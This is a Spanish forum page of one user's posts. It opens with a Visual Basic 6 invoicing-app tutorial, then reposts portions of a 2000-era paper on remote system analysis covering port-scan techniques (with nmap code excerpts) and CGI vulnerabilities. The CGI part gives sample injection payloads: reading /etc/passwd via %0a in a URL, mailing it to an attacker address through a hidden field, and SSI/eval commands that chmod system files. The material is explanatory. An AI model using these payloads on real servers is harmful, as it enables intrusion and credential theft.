Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - soplo

#441
Creación de formulario para elegir base de datos a usar

Se llamará CfgDatos (Yo comienzo con Cfg todos los formularios que tienen que ver con configuración).

El código del botón de búsqueda (el que está en círculo). Utilizo un CommonDialog llamado Dialogo para seleccionar la base de datos que quiero usar.

sub Command1_Click()
Dim ConStr As String
On Error GoTo fallo
If Trayecto = "" Then
    Dialogo.InitDir = "c:\Mis Documentos"
Else
    Dialogo.InitDir = Trayecto
End If
Dialogo.ShowOpen
BaseDeDatos = Dialogo.FileName
Trayecto = Left(BaseDeDatos, InStrRev(BaseDeDatos, "\") - 1)
PideDonde = BaseDeDatos
base.Close
set base=opendatabase(BaseDeDatos)
Exit Sub
fallo:
End Sub


Dialogo  tiene puestas las siguientes propiedades: CancelError = true
Filename=Mi_base.mdb
filter='Datos de Mi Ejemplo | Mi_base.mdb'


El botón de grabar tiene el siguiente código
Private Sub Command2_Click()
Open "c:\Config.ini" For Output As 1
Write #1, PideDonde, Trayecto, PideUsuario, PidePass
Close #1
Unload Me
End Sub

De manera que al pulsarlo se graba config.ini y se sale del formulario

El formulario al cargarse realiza el siguiente código
Private Sub Form_Load()
On Error GoTo fallo
Open "c:\config.ini" For Input As #1
Input #1, BaseDeDatos, Trayecto, pideusuari$, pidepas$
Close #1
PideDonde = BaseDeDatos
PideUsuario = pideusuari$
PidePass = pidepas$
Exit Sub
fallo:

End Sub
#442
Realización de formulario de pantalla inicial

Para el formulario inicial he pensado utilizar el asistente para pantallas de bienvenida y modificarlo oportunamente.

Para que salgan los datos precisos en este formulario deberías comprobar que las propiedades del proyecto están bien puestas (nombre de aplicación, versión, etc).

Se llamará FrmSplash
#443
Realización del módulo inicial de aplicación

Voy a realizar un módulo que se cargará inicialmente al llamar a la aplicación.

Su labor: mostrará una página de presentación mientras el programa se carga y además leerá la configuración inicial de un archivo de texto llamado 'config.ini' que estará en c:\'

Esta configuración inicial indica donde está la base de datos que queremos usar.

Declaración de variables globales. Funcionarán en todo el proyecto. 'BaseDeDatos' es un string que contendrá la dirección completa a mi base de datos mdb. Su valor será algo así como 'c:\documents and Settings\usuario\Mis Documentos\MiBase.mdb'
Global BaseDeDatos as string, Trayecto as string

Esta es la rutina principal. Para que sea la que se ejecute al inicio habrá que ir a las propiedades del proyecto e indicar que el objeto inicial es Main.

Sub main()
On Error GoTo fallo
Dim f As New frmSplash
Open "c:\Config.ini" For Input As 1
Input #1, BaseDeDatos, Trayecto, Usuario, Pass
Close #1
SaberParametros
Principal.Show

Exit Sub
fallo:
resp% = Msg("¡Datos de programa no encontrados!" & Chr(10) _
    & "¿Desea crear un nuevo conjunto de datos?", "SiNo")
If resp% = vbYes Then
    CfgDatos.Show vbModal
End If
End Sub


La función Msg la hago para facilitarme el uso de mensajes durante toda la aplicación.

Function Msg(txt As String, opcion As String)
Dim Opciones As Integer, Icono As Integer
Select Case opcion
    Case "SiNo": Icono = vbQuestion
                 Opciones = vbYesNo
    Case "Info": Icono = vbinfo
                 Opciones = vbInformation
    Case "Ok":   Icono = vbOKOnly
                 Opciones = vbOKOnly
    Case "Error": Icono = vbExclamation
                 Opciones = vbOKOnly
    Case "Fallo": Icono = vbCritical
                 Opciones = vbOKOnly
    Case Else
                  Opciones = vbOKOnly
                  Icono = vbInformation
                  txt = "Opción equivocada"
End Select
Msg = MsgBox(txt, Opciones + Icono, "Gestor de Datos")
End Function
#444
Creación de base de datos

Utilizaré la utilidad de devstudio 6.0 para crear la base de datos.

La estructura es:

Tabla clientes
Codigo autonumérico
Nombre texto 20
Apellidos texto 40
Dirección texto 50
Población texto 20
CodigoPostal texto 5
Telefono texto 12
DNI texto 10
Indexada por Codigo sin duplicados. Nombre de Indice: 'indice'


Articulos
Codigo autonumerico
Nombre texto 20
precio moneda
Indexada por Codigo sin duplicados. Nombre de Indice: 'indice'


Tabla facturas
Codigo autonumerico
CodigoCliente long
NumFactura texto 10
FechaFactura date
FormaPago texto 20
Importe currency
Impuestos currency
Total currency
Indexada por Codigo sin duplicados. Nombre del Indice: 'Indice'


tabla EntradasFacturas
CodigoFactura long
CodigoArticulo long
Cantidad single
Importe currency
Indexada por CodigoFactura con duplicados. Nombre del índice: 'indice'


Como veis en cada tabla creo un índice que me permitirá acceder a cada registro directamente.

Por sencillez voy a obviar relaciones entre tablas y no voy a realizar ninguna relación, pero debeis considerar lo siguiente:

Cada factura tiene un registro (y solo uno) en la tabla facturas. Aquí se almacenan los datos básicos de la factura. Esto es 'qué cliente', 'Qué fecha','Qué numero','qué importe total','como se paga'. Cada factura tiene un código único que la identifica y en este caso se llama 'codigo'. La tabla facturas está indexada por él para poder acceder directamente a cada factura.

En una factura se pueden comprar varias cosas. Por eso hay una segunda tabla llamada 'EntradasFacturas'. Esta tabla almacena las líneas (el detalle) de cada factura. Aquí hay cosas como 'Qué se ha comprado','qué cantidad','a que precio'. Para saber a que factura corresponde cada línea hay un CodigoFactura de manera que si una factura tiene por código el valor '7887' en facturas, todas sus entradas en la tabla 'EntradasFacturas' tienen ese valor en el campo CodigoFactura.

Para los interesados sería una buena idea establecer una relación de integridad referencial uno a varios entre estas dos tablas (tema que como dije voy a obviar).

Cada entrada también tiene un código que la identifica de forma precisa.

Para rellenar esas facturas tendré que acceder a los clientes (razón por la que tengo un código en clientes que identifica a cada cliente y un código en artículos que identifica a cada artículo).
#445
Dado que he puesto un ejercicio 17 que en realidad es un proyecto voy a hacerlo yo aquí paso a paso para que podais seguirme.

Este post está bloqueado para que no se me pierda el hilo, pero si teneis problemas posteadlas y en paz.

Voy a utilizar el modelo de objetos DAO por ser mas comprensible.
#446
Hola
los router adsl modernos llevan incluído un hub por lo que no te conectas al router, te conectas al hub y este ya está conectado con el router.

Si tuvieras un aparato que solo fuera router tendrías que conectarlo por un cable cruzado o no funcionaría.

Un saludo
#447
CitarPD: Ojala que no te molestes por mis opiniones y espero tu tb revises mis articulos  de mi pagina en un futuro que espero no muy lejano

No hombre, se deja sin bloquear para que queden las correcciones, mejoras, comentarios y demás.

Un saludo
#448
-------------------------------------------------------
CONTINUACION
-------------------------------------------------------

   III Relacion de principales servicios con puertos. Daemons.
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   Dado el gran numero de servicios que puede ofrecer una maquina
(/etc/services). No  me parece del  todo logico agregar a  este manual
hojas  y hojas  de documentacion  sobre  todos los  servicios, ya  que
tampoco es el proposito de este manual el enseñar el tipo de servicios
que hay,  que se supone que  un usuario de linux  medio/avanzado ya lo
sabe,  sino  más  bien el  analisis  remoto  del  sistema en  si.   Te
recomiendo  que leas TCP/IP  Illustrated vol.  1 y  2, Internetworking
with TCP/IP  vol. 1 y 2  y TCP/IP Network  Administration; todos ellos
los podras encontrar en www.amazon.com.
   
   Solo quiero puntualizar que en base a los resultados obtenidos
con  un buen  escaneador  de puertos  y  un programa  que averigüe  el
sistema operativo  es facil  analizar los citados  servicios obtenidos
por cada puerto  y los daemons instalados. Por otra  parte, es más que
recomendable    estar   al    día   en    packetstorm.securify.com   o
securityfocus.com en lo  que se refiere a las  vulnerabilidades de los
citados daemons, para así poder parchearlas.

   Aun asi, recomiendo la lectura  de papers o libros (como ya he
dicho anteriormente) para tener una  vision clara de esto. En realidad
este capitulo  del manual  no era  uno de mis  objetivos a  cumplir al
escribirlo ya que creo que ya esta muy bien documentado.

   Para  lo  que  si  que  voy  a dedicar  un  capitulo  dada  su
importancia y  su generalizado uso en  el contexto actual  es para los
CGIs.


   CGIs
   ~~~~
   
   Inicialmente, voy a explicar un  poco el problema en lo que se
refiere a vulnerabilidades de  los scripts CGIs para despues presentar
ejemplo de software  que puede ser utilizado para  encontrar este tipo
de vulnerabilidades tan comunes y al mismo tiempo peligrosas.
   
   CGI significa Common Gateway  Interface. Actualmente su uso en
todo tipo de sistemas es normal  y el lenguaje de programacion que voy
a adoptar para los mismos es PERL, por tanto asumo cierto conocimiento
del  lenguaje  PERL por  el  lector  (si no  lo  tienes  ya sabes  :),
Programming  Perl de  Larry  Wall,  Tom Christiansen  y  Jon Orwat  de
Ed. O'Reilly es un buen  comienzo).  Aunque se pueden usar en sistemas
win* yo trataré el caso de sistemas unix, por ser en los que tengo más
experiencia.
   
   CGI  permite   la  comunicacion  entre   programas  cliente  y
servidores que operan con http, siendo el protocolo en el que se lleva
a cabo esta comunicacion TCP/IP  y el puerto el 80 (privilegiado) pero
se especifican otros puertos no privilegiados.
   
   Hay dos modos basicos en los que operan los scripts CGIs:

   # Permitir  el proceso basico  de datos  que han  sido pasados
mediante un input. Lease scripts  que por ejemplo chequean la correcta
sintaxis de documentos HTML

   # Actuar  como  conducto de  los  datos  que  son pasados  del
programa   cliente   al  servidor   y   devueltos   del  servidor   al
cliente. Lease script que por ejemplo actuan como frontend de una base
de datos del servidor.

   Los  scripts  CGI,  en  realidad,  ademas  de  PERL  (lenguaje
interprete de programacion) se puede  usar TCL, shell script (de unix)
y AppleScript  en lo  que se  refiere a este  tipo de  lenguajes, pero
tambien  se  pueden  usar  lenguajes  de  programacion  compilables  y
lenguajes  de  scripting.  Pero   usare  PERL  ya  que  los  lenguajes
interpretados son mas faciles de  analizar y cambiar que los programas
compilados por razones obvias.

   Los tres metodos aplicable a programas CGI que voy a presentar
son Post, Get y Put. para saber  lo que hace cada uno, puedes leer las
espeficaciones HTTP 1.0.

   Las vulnerabilidades  de los scripts CGI  no estan propiamente
en ellos mismos  sino en las especificaciones http  y los programas de
sistema;   lo   unico  que   permite   CGI   es   acceder  a   citadas
vulnerabilidades.

   Mediante  ellos un  servidor  puede sufrir  lectura remota  de
archivos,  adquisicion de  shell  de forma  ilegal  y modificacion  de
ficheros del sistema asi que es  cierto que hay que analizar bien este
tipo de  programas, ya que como  ves se pone en  peligro la integridad
del sistema. Por lo tanto en un analisis remoto de un sistema es muy a
tener en cuenta este tipo de vulnerabilidades.

   El primer problema de dichos scripts en la falta de validacion
suficiente   en   el  input   del   usuario,   que  conlleva   ciertos
problemas. Los datos pasados mediante  un script CGI que use Get estan
puestos al  final de una url y  estos son tratados por  el script como
una variable de entorno llamada QUERY_STRING, con muestras de la forma
variable=valor. Los llamados 'ampersands' separan dichas muestras (&),
y junto con  los caracteres no alfanumericos deben  de ser codificados
como  valores  hexadecimales  de   dos  digitos.  Todos  ellos,  viene
precedidos por  el signo % en la  url codificada. Es el  script CGI el
tiene que  borrar los caracteres que  han sido pasados  por el usuario
mediante input, por ejemplo, si se quieren borrar los caracteres < o >
y cosas asi de un documento html:

   /* este ejemplo pertenece a Gregory Gillis */

{$NAME, $VALUE) = split(/=/, $_);       
$VALUE =~ s/\+/ /g;               # reemplaza '+' con ' '     
$VALUE =~ s/%([0-9|A-F]{2})/pack(C,hex,{$1}}/eg; # reemplaza %xx con ASCII
$VALUE =~ s/([;<>\*\|'&\$!#\(\)\[\]\{\}:"])/\\$1/g; #borra caracs especiales
$MYDATA[$NAME} = $VALUE;

   Pero, hay una cosa que no  hace este pequeño ejemplo, no se es
consciente de la posibilidad de crear una nueva linea mediante %0a que
se puede usar para ejecutar comandos diferentes de los del script. Por
ejemplo, se podria hacer lo siguiente, de no caer en la cuenta de esta
vulnerabilidad:

http://www.ejemplo.com/cgi-bin/pregunta?%0a/bin/cat%20/etc/passwd

   %20  es un espacio  en blanco  y %0a  como se  ha especificado
anteriormente es una especie de return.
   
   Digamos que el frontend que  hay en una pagina web para llamar
a un script  CGI es un formulario. En todo  formulario tiene que haber
un input,  este input tiene  un nombre asociado  que digamos es  lo ya
expuesto anteriormente variable=valor.  Para una cierta seguridad, los
contenidos del input deben de ser filtrados y por tanto los caracteres
especiales deben  de ser filtrados a diferencia  del ejemplo comentado
anteriormente.  Los  scripts  CGI   interpretados  que  fallan  en  la
validacion  de  los  datos  pasan   los  dichos  datos  del  input  al
interprete.
   
   Otra etiqueta frecuente en los formularios es la select. Esta,
permite al usuario elegir una  serie de opciones, y dicha seleccion va
justo despues de variable=valor. Pasa  como con el input, de fallar la
validacion   se  asume   que  dicha   etiqueta  solo   contiene  datos
predefinidos  y los datos  son pasados  al interprete.   Los programas
compilados  que  no  hacen  una validacion  semejante  son  igualmente
vulnerables.

   Otro de las vulnerabilidades muy frecuentes es el hecho de que
si  el script llama  al programa  de correo  de unix,  y no  filtra la
secuencia '~!' esta puede ser  usada para ejecutar un comando de forma
remota ya que el programa de  correo permite ejecutar un comando de la
forma '~!command', de nuevo, el problema de filtrado esta presente.

   Por otra parte, si encuentras una llamada a exec() con un solo
argumento esta puede  ser usada para obtener una  puerta de acceso. En
el caso  de abrir un fichero por  ejemplo, se puede usar  un pipe para
abrir una shell de la forma:

   open(FICHERO, "| nombre_del_programa $ARGS");

   Continuando  con  funciones  vulnerables,  si  encuentras  una
llamada de  la forma  system() con un  solo argumento, esta  puede ser
usada como  puerta de acceso  al sistema, ya  que el sistema  crea una
shell para esto. Por ejemplo:

   system("/usr/bin/sendmail -t %s < %s, $mail < $fichero");

   /* supongo que te imaginaras:
      <INPUT TYPE="HIDDEN" NAME="mail"
      VALUE="mail@remotehost.com;mail mail@atacante.com; < /etc/passwd">
   */

   
   Scripts  CGIs que  pasan inputs  del usuario  al  comando eval
tambien se pueden aprovechar, puesto que:


   $_ = $VALOR
   s/"/\\"/g
   $RESULTADO = eval qq/"$_"/;

   Asi, si  por ejemplo $VALOR contiene  algun comando malicioso,
el resultado para el servidor remoto puede ser bastante malo.
   
   Es muy  recomendable revisar que  los permisos de  fichero son
correctos y por  ejemplo de usar la libreria  cgi-lib, cosa muy normal
esta  debe  de  tener   los  correspondientes  permisos  ya  que  sino
estariamos ante otra vulnerabilidad.  Para chequear estos permisos, se
haria de la forma generica: "%0a/bin/ls%20-la%20/usr/src/include".  Si
se llegase a copiar, modificar  y reemplazar dicha libreria se podrian
ejecutar  comandos o  rutinas de  forma  remota, con  lo que  conlleva
eso. Ademas, si el interprete de  PERL utilizado por el cgi es SETUID,
sera posible modificar permisos de los ficheros que quieras pasando un
comando directamente  al sistema  a traves del  interprete, y  asi por
ejemplo:

$_ = "chmod 666 \/etc\/host.deny"
$RESULT = eval qq/"$_"/;

   Esto  es  gracias  a  SSI   y  la  mayoria  de  los  sysadmins
competentes tendrian que desactivarlo. Para saber si un server utiliza
esto se haria de la siguiente forma:

   <!--#command variable="value" -->

   <!--#exec cmd="chmod 666 /etc/host.deny"-->

   Te recomiendo la  lectura de Perl CGI problems  by rfp (phrack
55) para tener  una vision mas  completa del problema, ya  que analiza
mas fallos de seguridad de CGIs.

   Actualmente,  hay  escaneadores de  CGIs  en  los  que se  han
descubierto vulnerabilidades, que en muchos  casos son de este tipo, o
de otros mas  complejos que tampoco me parece  factible explicarlos en
un  paper de este  tipo.  A  continuacion te  presento algunos  de los
escaneadores de vulnerabilidades CGIs que me parecen mas completos (en
este  apartado  simplemente nombrare  los  especificos  de  CGIs y  no
aquellos  escaners  de tipo  vetescan  que  entre sus  funcionalidades
añadidas esta este tipo de escaneo):

   - whisker by rain forest puppy
   http://www.wiretrip.net/rfp/
   - voideye by duke
   http://packetstorm.securify.com/UNIX/cgi-scanners/voideye.zip
   - ucgi by su1d sh3ll: 
        http://infected.ilm.net/unlg/
   - Tss-cgi.sh
   http://www.team-tss.org
   - Cgichk
   http://sourceforge.net/projects/cgichk/
   - cgiscanner.pl (de raza mexicana)
   http://packetstorm.securify.com/UNIX/scanners/cgiscanner.pl

   Destacar, que para mi, el mejor de los citados es el whisker de rfp :)
   Y bueno, se acabo.


   3. Bibliografia y agradecimientos
      ==============================

   Bibliografia:
   ~~~~~~~~~~~~~
   [1] TCP/IP Illustrated vol. 1 by Richard Stevens
   [2] Remote OS detection via TCP/IP Stack FingerPrinting by Fyodor
   [3] BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind
   [4] The Art of Port Scanning by Fyodor
   [5] Port Scanning without the SYN flag by Uriel Maimon
   [6] Port Scanning; A Basic Understanding by John Holstein
   [7] Intrusion Detection Level Analysis of Nmap and Queso by Toby Miller
   [8] Scanning for RPC Services by halflife
   [9] Firewalking, A Traceroute-Like Analysis of IP Packet Responses
   to  Determine  Gateway   Access  Control  Lists  by  Cambridge
   Technology Partners'
   [10] Techniques To Validate Host-Connectivity by dethy@synnergy.net
   [11] CGI Security Holes by Gregory Gillis
   [12] Passive Mapping, The Importance of Stimuli by Coretez Giovanni
   [13] Examining port scan methods - Analysing Audible Techniques
   by dethy@synnergy.net
   [14] A network intrusion detection system test suite
   by Anzen Computing
   [15] Passive Mapping: An Offensive Use of IDS by Coretez Giovanni
   [16] SWITCH - Swiss Academic & Research Network. Default TTL Values in
   TCP/IP

   Programas recomendables para hacer mejor uso de este paper:
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   queso      tcpdump      snort      ipsend      
   siphon      conda      iplog      sos
   sing      icmpquery   iputils      isic   
   hping2      ss      arping      nemesis
   ethereal   checkos      dps      sendip
   nmap      nessus      dscan      spak
   nsat      satan      icmpenum   fragrouter

   etc...

   Gracias a los canales:
   ~~~~~~~~~~~~~~~~~~~~~~
   #networking, #hack, #hackers y #linux @ irc-hispano.org.
   #low-level, #phrack, #spain y #localhost @ efnet.
   
   Gracias por su ayuda a:
   ~~~~~~~~~~~~~~~~~~~~~~~
   David Cerezo Sanchez aka bit-quake, impresionante :)
   icehouse
   nunotreez 
   Pedro Andujar aka crg
   Pablo Balzola aka pib
   lyw0d
   Fernando Luis aka merphe

   Y gracias a ti por haber leido este documento.

    Sun Dec 31 17:11:59 CET 2000
   
    Ultima revision: Sat Apr 21 02:08:42 CEST 2001

       -honoriak
      
    "callar es asentir, no te dejes llevar"

----------------------------------------------------------------------
Fin de pasteo
Este texto ha sido copiado y pasteado de
http://www.sindominio.net/hmleioa01/material/analisis.txt
#449
----------------------------------------------------
CONTINUACION
----------------------------------------------------

   II Tecnicas usadas en el escaneo de puertos
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   En un escaneo de puertos,  se han ido incluyendo tecnicas, que
en la mayoria de los casos lo  que buscan es que el escaneo de puertos
no sea detectado  por el host remoto. Actualmente  hay un cierto vacio
legal en lo que se refiere a  este tipo de acciones ya que no esta muy
claro si es legal o  ilegal hacer dichos escaneos. Segun una sentencia
reciente  (12-2000)  en USA,  el  escaneo  de  puertos no  es  ilegal,
mientras no se perjudique al host remoto.
      
   Escaneando TCP con connect(): es el metodo basico que es usado
en los escaners de puertos.  El problema es que abre una conexion a un
puerto de forma  que puede ser detectado dicho  intento y loggeado. La
parte  positiva  es  que  destaca   por  su  rapidez  y  facilidad  de
implementacion en codigo C. Puede  ser utilizado con varios sockets en
paralelo para  asi no tener que usar  un bucle que haria  mas largo el
proceso.
   
   Por ejemplo en el PortScanner-1.2, encontramos:

   ...
   while (((base_port + current_port) <= end_port) || !finished) {
   sock = socket(PF_INET, SOCK_STREAM, 0);
   ...
   if (connect(sock, (struct sockaddr *)&address2, sizeof(address2)) == 0)
   ...

   y  a  continuacion en  el  code  simplemente encontramos  como
intenta averiguar el nombre de  servicio asignado a cada puerto que va
encontrando abierto,  pero no lo voy  a copiar aqui porque  es un poco
largo  aunque  facil.  Vemos  pues,  como  el  funcionamiento de  este
escaner es sumamente  sencillo y su archivo portscanner.c  es de facil
comprension para  cualquier persona con  ciertos conocimientos de  C y
unix networking programming.

     
   Escaneando TCP  con SYN: Este metodo  es un poco  mejor que el
clasico expuesto  anteriormente ya  que no abre  una conexion  TCP por
completo,  por eso  el apelativo  "half-open"  en ingles.  Se basa  en
enviar  un paquete  SYN a  un puerto  y si  se obtiene  un  SYN|ACK es
inequivocamente porque el  puerto esta abierto y si  se obtiene un RST
es  indicacion de que  el puerto  esta cerrado.   De estar  abierto se
envia   un  RST   para  cerrar   la  conexion,   pero  esto   lo  hace
automaticamente el kernel. Esta  tecnica seguramente hay en servidores
en los  que no es detectada  pero actualmente ya  hay herramientas que
permiten  su deteccion  como iplog,  ademas, necesitas  privilegios de
root para construir dichos paquetes.
   
   Por  ejemplo,  en  el   portscanner  hecho  por  Uriel  Maimon
(lifesux@cox.org) para  su articulo en phrack 49  (Volume Seven, Issue
Forty-Nine), Port Scanning without the SYN flag, vemos como define:

   ...

   0: half-open scanning (type 0, SYN)
   /* se observa que admite este tipo de escaneo */   
   ...

   inline int tcpip_send(int   socket,
               struct sockaddr_in *address,
                              unsigned long s_addr,
               unsigned long t_addr,
               unsigned      s_port, 
               unsigned      t_port, 
               unsigned char tcpflags,
               unsigned long seq,
               unsigned long ack,
               unsigned      win,
               char          *datagram,
               unsigned      datasize)
   
   /* para poder enviar paquetes configurables */
    ...


    tcp->th_sport   = htons(s_port);
    tcp->th_dport   = htons(t_port);
    tcp->th_off     = 5;          /* 20 bytes, (no options) */
    tcp->th_flags   = tcpflags; 
    tcp->th_seq   = htonl(seq);
    tcp->th_ack   = htonl(ack);
    tcp->th_win   = htons(win); /* we don't need any bigger, I guess. */
   
    /* opciones tcp */
   
    ...

    struct tcphdr       *tcp    = (struct tcphdr *)(packet+IPHDRSIZE);

    ...
   
    if (tcp->th_flags & (TH_ACK | TH_SYN))
                              {
                                 readport->state = 1;
                             printf(" (SYN+ACK)");
                                 tcpip_send(rawsock,&destaddr,
                                 spoof_addr,destaddr.sin_addr.s_addr
                                           STCP_PORT,readport->n,
                                           TH_RST,
                                           readport->seq++, 0,
                                           512,
                                           NULL,
                                       0); 
                      }
   /* se observa aqui el corte despues con RST despues de recibir
   respuesta */
     ...

   Pero,  aun asi,  te  recomiendo que  revises  el codigo  por
completo si quieres  entender bien este metodo aplicado  a codes en C,
ya  que  tampoco  he  pasteado  todo  lo importante  sino  lo  que  he
encontrado  interesante  segun  repasaba  el  codigo,  y  quizas  para
entenderlo hay que verlo integramente.


   Escaneando TCP  con FIN: si  piensas que el servidor  que esta
analizando puede detectar un escaner  basado en la tecnica de envio de
paquetes SYN,  siempre se  puede recurrir a  escaners basados  en este
metodo. El hecho es que los puertos abiertos ante el envio de paquetes
FIN  no  hacen nada,  los  ignoran,  en  cambio los  puertos  cerrados
responden con un RST|ACK.  Este metodo,  pues, se basa en un bug de la
implementacion TCP en ciertos  sistemas operativos pero hay en ciertos
sistemas  que  esto no  funciona,  como en  el  caso  de las  maquinas
Microsoft). Pero, en  las ultimas releases de ciertos  programas ya se
agrega la  opcion incluso de detectar  este tipo de  scaneos.  Asi por
ejemplo snort:

Fri 29 03:25:58 honorato snort[565]: SCAN-SYN FIN: w.x.y.z:0 -> z.y.w.98:53

    Si quieres  ver que realmente  hay empresas que  se preocupan
hasta de este  tipo de escaners puedes revisar el  gran numero de logs
de      este     tipo      que     hay      en      (por     ejemplo):
http://www.sans.org/y2k/070200-2000.htm

    Y  en nmap  encontramos (he  saltado  partes del  code de  la
func., cuidado ):
   
    ...

portlist fin_scan(struct hoststruct *target, unsigned short *portarray) {

    /* la  funcion, a continuacion de esto,  define variables, no
lo he copiado, porque ocuparia demasiado.. */   

    ...

timeout = (target->rtt)? target->rtt + 10000 : 1e5;

bzero(&stranger, sockaddr_in_size);
bzero(portno, o.max_sockets * sizeof(unsigned short));
bzero(trynum, o.max_sockets * sizeof(unsigned short));
starttime = time(NULL);

    /* preliminares */

    ...

if (o.debugging || o.verbose)
  printf("Initiating FIN stealth scan against %s (%s), sleep delay: %ld usecond
s\n", target->name, inet_ntoa(target->host), timeout);

         /* se observa que indica que empieza el escaneo.. saca en
    pantalla datos del scan */

    ...

if (!target->source_ip.s_addr) {
  if (gethostname(myname, MAXHOSTNAMELEN) ||
      !(myhostent = gethostbyname(myname)))
    fatal("Your system is fucked up.\n");

  memcpy(&target->source_ip, myhostent->h_addr_list[0], sizeof(struct in_addr))
;
  if (o.debugging || o.verbose)
    printf("We skillfully deduced that your address is %s\n",
           inet_ntoa(target->source_ip));
}

     /* comprobaciones de que localhost va bien y saca en pantala
nuestra direccion local */

     ...

if (!(pd = pcap_open_live(target->device, 92, 0, 1500, err0r)))
  fatal("pcap_open_live: %s", err0r);

if (pcap_lookupnet(target->device, &localnet, &netmask, err0r) < 0)
  fatal("Failed to lookup device subnet/netmask: %s", err0r);

p = strdup(inet_ntoa(target->host));
#ifdef HAVE_SNPRINTF
snprintf(filter, sizeof(filter), "tcp and src host %s and dst host %s and
dst port %d", p, inet_ntoa(target->source_ip), MAGIC_PORT );
#else
sprintf(filter, "tcp and src host %s and dst host %s and dst port %d", p,
inet_ntoa(target->source_ip), MAGIC_PORT );
#endif
free(p);
if (o.debugging)
  printf("Packet capture filter: %s\n", filter);
if (pcap_compile(pd, &fcode, filter, 0, netmask) < 0)
  fatal("Error compiling our pcap filter: %s\n", pcap_geterr(pd));
if (pcap_setfilter(pd, &fcode) < 0 )
  fatal("Failed to set the pcap filter: %s\n", pcap_geterr(pd));

     /*  vemos como  Fyodor  hace  usa de  las  librerias pcap  y
despues de dos comprobaciones con pcap_open_live() y pcap_lookupnet(),
te recomiendo que  si no estas familiarizado con  la implementacion de
pcap en C  que leas algo sobre el tema. La  funcion strdup devuelve un
puntero  a una  nueva  cadena que  en  realidad es  duplicacion de  la
variable que  tiene la direccion remota.  Despues  puedes observar que
hace uso  de snprintf de estar  permitido su uso, y  sino usa sprintf,
donde puedes ver  el host local, host remoto  y puerto. A continuacion
libera p con  un free() y ves como monta el  Packet capture filter con
pcap */

     ...

if ((rawsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
  perror("socket trobles in fin_scan");

     /* creacion de socket, y comprobacion de que funciona */

     ...

while(!done) {
  for(i=0; i <  o.max_sockets; i++) {
    if (!portno && portarray[j]) {
      portno = portarray[j++];
    }
    if (portno) {
    if (o.fragscan)
      send_small_fragz(rawsd, &target->source_ip, &target->host, MAGIC_PORT, po
rtno, TH_FIN);
    else send_tcp_raw(rawsd, &target->source_ip , &target->host, MAGIC_PORT,
                      portno, 0, 0, TH_FIN, 0, 0, 0);
    usleep(10000); /* *WE* normally do not need this, but the target
                      lamer often does */
    }
  }
 
   /*  interesante :),  bueno, puedes  observar un  bucle  de uso
obvio  y  fijate   en  send_small_fragz()  y  send_tcp_raw().  Tambien
interesante el uso del  temporizador, con comentario del propio fyodor
incluido */

   ...

   {
      if (bytes < (4 * ip->ip_hl) + 4)
        continue;
      if (ip->ip_src.s_addr == target->host.s_addr)
      {
        tcp = (struct tcphdr *) (((char *) ip) + 4 * ip->ip_hl);
       
   if (tcp->th_flags &  TH_RST)
   {
   badport = ntohs(tcp->th_sport);
     if  (o.debugging >  1) printf("Nothing  open on  port %d\n", badport)
;  /*  delete  the  port  from  active  scanning  */
     for(i=0; i < o.max_sockets; i++)
         if (portno == badport)
              {
         if (o.debugging && trynum > 0) printf("Bad port %d caught
         on  fin scan,  try number  %d\n", badport,  trynum  + 1);
         trynum  =   0; 
         portno  =   0; 
         break; 
         } 
         if   (i  == o.max_sockets) 
         {
         if  (o.debugging)  printf("Late packet  or
         dupe,  deleting  port  %d.\n", badport); 
         dupesinarow++; 
         if (target->ports) deleteport(&target->ports,     badport,
     IPPROTO_TCP);   
         }   
      }   
      else   
      if  (o.debugging   >   1)   
      {
      printf("Strange  packet  from  target%d!   Here  it  is:\n",
      ntohs(tcp->th_sport));     
      if       (bytes      >=      40)
      readtcppacket(response,1); else hdump(response,bytes);
      }
   }
      }
             
   /*  fijate dentro  de if  (tcp->th_flags &  TH_RST) que  si se
cumple comprueba if (o.debugging > 1) y abre un bucle, con dos if's en
su  interior en  los que  tambien conviene  fijarse. if  (portno ==
badport)...if (i ==  o.max_sockets)... y en el interior  de los mismos
imprime los Bad  port y borra puerto del escaneo  por ser "Late packet
or dupe" respectivamente. Si no se cumple que (tcp->th_flags & TH_RST)
entonces comprueba si  o.debuffing > 1 y de serlo mira  lo que pasa en
el code */

   ...

/* adjust waiting time if neccessary */
  if (dupesinarow > 6)
     {
    if (o.debugging || o.verbose)
      printf("Slowing down send frequency due to multiple late packets.\n");
    if (timeout < 10 * (target->rtt + 20000)) timeout *= 1.5;
    else
      {
      printf("Too many late packets despite send frequency decreases, skipping
scan.\n");
      return target->ports;
      }
  }
     
        /*  mas  comprobaciones,  para  diferentes  tipos  de  problemas,
tampoco veo necesario detallarlo otra  vez ya que creo que se entiende
bastante bien de analizar todo el code */

   ...


  someleft = 0;
  for(i=0; i < o.max_sockets; i++)
    if (portno) {
      if (++trynum >= retries) {
        if (o.verbose || o.debugging)
          printf("Good port %d detected by fin_scan!\n", portno);
        addport(&target->ports, portno, IPPROTO_TCP, NULL);
        send_tcp_raw( rawsd, &target->source_ip, &target->host, MAGIC_PORT, por
tno, 0, 0,
                      TH_FIN, 0, 0, 0);
        portno = trynum = 0;
      }
      else someleft = 1;
    }
     
  if (!portarray[j] && (!someleft || --waiting_period <= 0)) done++;
}
     
     /* voila, me  parece que lo deja bien claro  el printf, fijate en
addport() y send_tcp_raw(). */

   ...

if (o.debugging || o.verbose)
  printf("The TCP stealth FIN scan took %ld seconds to scan %d ports.\n",
        (long) time(NULL) - starttime, o.numports);
pcap_close(pd);
close(rawsd);
return target->ports;
}
        /* bueno.. se acabo, curioso, eh? */

   
   Escaneando TCP  con 'reverse ident':  esta tecnica se  basa en
que el protocolo  ident (lee rfc1413) te permite  descubrir el usuario
propietario de un  proceso conectado via TCP incluso si  no ha sido el
proceso  el que  ha iniciado  la  conexion.  Esto,  permite saber  los
propietarios  de cada  daemon  que escucha  en  puertos abiertos.   El
problema es que  se necesita abrir una conexion TCP  completa y por lo
